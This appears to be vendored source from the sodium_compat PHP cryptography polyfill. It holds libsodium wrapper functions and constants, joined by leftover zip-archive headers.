     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd,
$hash);
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256($outlen, $passwd,
$salt, $opslimit, $memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen,
$passwd, $salt, $opslimit, $memlimit);
    }
}
if
(!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) {
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit);
    }
}
if
(!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify($passwd,
$hash)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd,
$hash);
    }
}
if (!is_callable('sodium_crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult($n, $p)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('sodium_crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_base($n)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('sodium_crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_secretbox($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce,
$key);
    }
}
if (!is_callable('sodium_crypto_secretbox_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretbox_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox_keygen();
    }
}
if (!is_callable('sodium_crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_secretbox_open($message, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($message,
$nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if
(!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push'))
{
    /**
     * @param string $key
     * @return array<int, string>
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_init_push($key)
    {
        return
ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key);
    }
}
if
(!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push'))
{
    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_push(&$state,
$msg, $aad = '', $tag = 0)
    {
        return
ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push($state,
$msg, $aad, $tag);
    }
}
if
(!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull'))
{
    /**
     * @param string $header
     * @param string $key
     * @return string
     * @throws Exception
     */
    function
sodium_crypto_secretstream_xchacha20poly1305_init_pull($header, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header,
$key);
    }
}
if
(!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull'))
{
    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    function sodium_crypto_secretstream_xchacha20poly1305_pull(&$state,
$cipher, $aad = '')
    {
        return
ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull($state,
$cipher, $aad);
    }
}
if
(!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey'))
{
    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    function
sodium_crypto_secretstream_xchacha20poly1305_rekey(&$state)
    {
       
ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state);
    }
}
if
(!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen'))
{
    /**
     * @return string
     * @throws Exception
     */
    function sodium_crypto_secretstream_xchacha20poly1305_keygen()
    {
        return
ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen();
    }
}
if (!is_callable('sodium_crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_shorthash($message, $key = '')
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('sodium_crypto_shorthash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_shorthash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash_keygen();
    }
}
if (!is_callable('sodium_crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $sk);
    }
}
if (!is_callable('sodium_crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message,
$sk);
    }
}
if
(!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey()
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk,
$pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($sk,
$pk);
    }
}
if (!is_callable('sodium_crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('sodium_crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $pk
     * @return string|bool
     */
    function sodium_crypto_sign_open($signedMessage, $pk)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair);
    }
}
if (!is_callable('sodium_crypto_sign_publickey_from_secretkey'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey_from_secretkey($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk);
    }
}
if (!is_callable('sodium_crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair);
    }
}
if (!is_callable('sodium_crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_verify_detached($signature, $message, $pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message,
$pk);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk);
    }
}
if (!is_callable('sodium_crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream($len, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_stream_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_stream_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_stream_keygen();
    }
}
if (!is_callable('sodium_crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xor($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce,
$key);
    }
}
if (!is_callable('sodium_hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_hex2bin($string)
    {
        return ParagonIE_Sodium_Compat::hex2bin($string);
    }
}
if (!is_callable('sodium_increment')) {
    /**
     * @see ParagonIE_Sodium_Compat::increment()
     * @param string $string
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_increment(&$string)
    {
        ParagonIE_Sodium_Compat::increment($string);
    }
}
if (!is_callable('sodium_library_version_major')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_major()
     * @return int
     */
    function sodium_library_version_major()
    {
        return ParagonIE_Sodium_Compat::library_version_major();
    }
}
if (!is_callable('sodium_library_version_minor')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_minor()
     * @return int
     */
    function sodium_library_version_minor()
    {
        return ParagonIE_Sodium_Compat::library_version_minor();
    }
}
if (!is_callable('sodium_version_string')) {
    /**
     * @see ParagonIE_Sodium_Compat::version_string()
     * @return string
     */
    function sodium_version_string()
    {
        return ParagonIE_Sodium_Compat::version_string();
    }
}
if (!is_callable('sodium_memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $a
     * @param string $b
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_memcmp($a, $b)
    {
        return ParagonIE_Sodium_Compat::memcmp($a, $b);
    }
}
if (!is_callable('sodium_memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string $str
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_memzero(&$str)
    {
        ParagonIE_Sodium_Compat::memzero($str);
    }
}
if (!is_callable('sodium_pad')) {
    /**
     * @see ParagonIE_Sodium_Compat::pad()
     * @param string $unpadded
     * @param int $blockSize
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_pad($unpadded, $blockSize)
    {
        return ParagonIE_Sodium_Compat::pad($unpadded, $blockSize, true);
    }
}
if (!is_callable('sodium_unpad')) {
    /**
     * @see ParagonIE_Sodium_Compat::pad()
     * @param string $padded
     * @param int $blockSize
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_unpad($padded, $blockSize)
    {
        return ParagonIE_Sodium_Compat::unpad($padded, $blockSize, true);
    }
}
if (!is_callable('sodium_randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws Exception
     */
    function sodium_randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('sodium_randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws Exception
     */
    function sodium_randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('sodium_randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     * @throws Exception
     */
    function sodium_randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}
PK	�[5z����Pchat/sendMessage/pusher/vendor/paragonie/sodium_compat/lib/php72compat_const.phpnu�[���<?php

const SODIUM_LIBRARY_MAJOR_VERSION = 9;
const SODIUM_LIBRARY_MINOR_VERSION = 1;
const SODIUM_LIBRARY_VERSION = '1.0.8';

const SODIUM_BASE64_VARIANT_ORIGINAL = 1;
const SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
const SODIUM_BASE64_VARIANT_URLSAFE = 5;
const SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
const SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
const SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
const SODIUM_CRYPTO_AUTH_BYTES = 32;
const SODIUM_CRYPTO_AUTH_KEYBYTES = 32;
const SODIUM_CRYPTO_BOX_SEALBYTES = 16;
const SODIUM_CRYPTO_BOX_SECRETKEYBYTES = 32;
const SODIUM_CRYPTO_BOX_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_BOX_KEYPAIRBYTES = 64;
const SODIUM_CRYPTO_BOX_MACBYTES = 16;
const SODIUM_CRYPTO_BOX_NONCEBYTES = 24;
const SODIUM_CRYPTO_BOX_SEEDBYTES = 32;
const SODIUM_CRYPTO_KDF_BYTES_MIN = 16;
const SODIUM_CRYPTO_KDF_BYTES_MAX = 64;
const SODIUM_CRYPTO_KDF_CONTEXTBYTES = 8;
const SODIUM_CRYPTO_KDF_KEYBYTES = 32;
const SODIUM_CRYPTO_KX_BYTES = 32;
const SODIUM_CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
const SODIUM_CRYPTO_KX_SEEDBYTES = 32;
const SODIUM_CRYPTO_KX_KEYPAIRBYTES = 64;
const SODIUM_CRYPTO_KX_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_KX_SECRETKEYBYTES = 32;
const SODIUM_CRYPTO_KX_SESSIONKEYBYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_BYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_BYTES_MIN = 16;
const SODIUM_CRYPTO_GENERICHASH_BYTES_MAX = 64;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES = 32;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
const SODIUM_CRYPTO_PWHASH_SALTBYTES = 16;
const SODIUM_CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
const SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
const SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX =
'$7$';
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE =
534288;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE =
16777216;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE =
33554432;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE =
1073741824;
const SODIUM_CRYPTO_SCALARMULT_BYTES = 32;
const SODIUM_CRYPTO_SCALARMULT_SCALARBYTES = 32;
const SODIUM_CRYPTO_SHORTHASH_BYTES = 8;
const SODIUM_CRYPTO_SHORTHASH_KEYBYTES = 16;
const SODIUM_CRYPTO_SECRETBOX_KEYBYTES = 32;
const SODIUM_CRYPTO_SECRETBOX_MACBYTES = 16;
const SODIUM_CRYPTO_SECRETBOX_NONCEBYTES = 24;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX =
0x3fffffff80;
const SODIUM_CRYPTO_SIGN_BYTES = 64;
const SODIUM_CRYPTO_SIGN_SEEDBYTES = 32;
const SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_SIGN_SECRETKEYBYTES = 64;
const SODIUM_CRYPTO_SIGN_KEYPAIRBYTES = 96;
const SODIUM_CRYPTO_STREAM_KEYBYTES = 32;
const SODIUM_CRYPTO_STREAM_NONCEBYTES = 24;
PK	�[����_�_Lchat/sendMessage/pusher/vendor/paragonie/sodium_compat/lib/sodium_compat.phpnu�[���<?php
namespace Sodium;

require_once dirname(dirname(__FILE__)) . '/autoload.php';

use ParagonIE_Sodium_Compat;

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions, but only if they do not already exist.
 *
 * Thus, the functions just proxy to the appropriate
ParagonIE_Sodium_Compat
 * method.
 */
if (!is_callable('\\Sodium\\bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2hex()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function bin2hex($string)
    {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('\\Sodium\\compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function compare($a, $b)
    {
        return ParagonIE_Sodium_Compat::compare($a, $b);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_aes256gcm_decrypt($message, $assocData, $nonce,
$key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt($message,
$assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_aes256gcm_encrypt($message, $assocData, $nonce,
$key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_is_available'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function crypto_aead_aes256gcm_is_available()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_decrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_chacha20poly1305_decrypt($message, $assocData,
$nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($message,
$assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_encrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_encrypt($message, $assocData,
$nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($message,
$assocData, $nonce, $key);
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth($message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message,
$key);
    }
}
if (!is_callable('\\Sodium\\crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box($message, $nonce, $kp)
    {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $kp);
    }
}
if (!is_callable('\\Sodium\\crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if
(!is_callable('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair_from_secretkey_and_publickey($sk, $pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($sk,
$pk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string|bool
     */
    function crypto_box_open($message, $nonce, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($message,
$nonce, $kp);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($keypair);
    }
}
if
(!is_callable('\\Sodium\\crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey_from_secretkey($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_seal($message, $publicKey)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message,
$publicKey);
    }
}
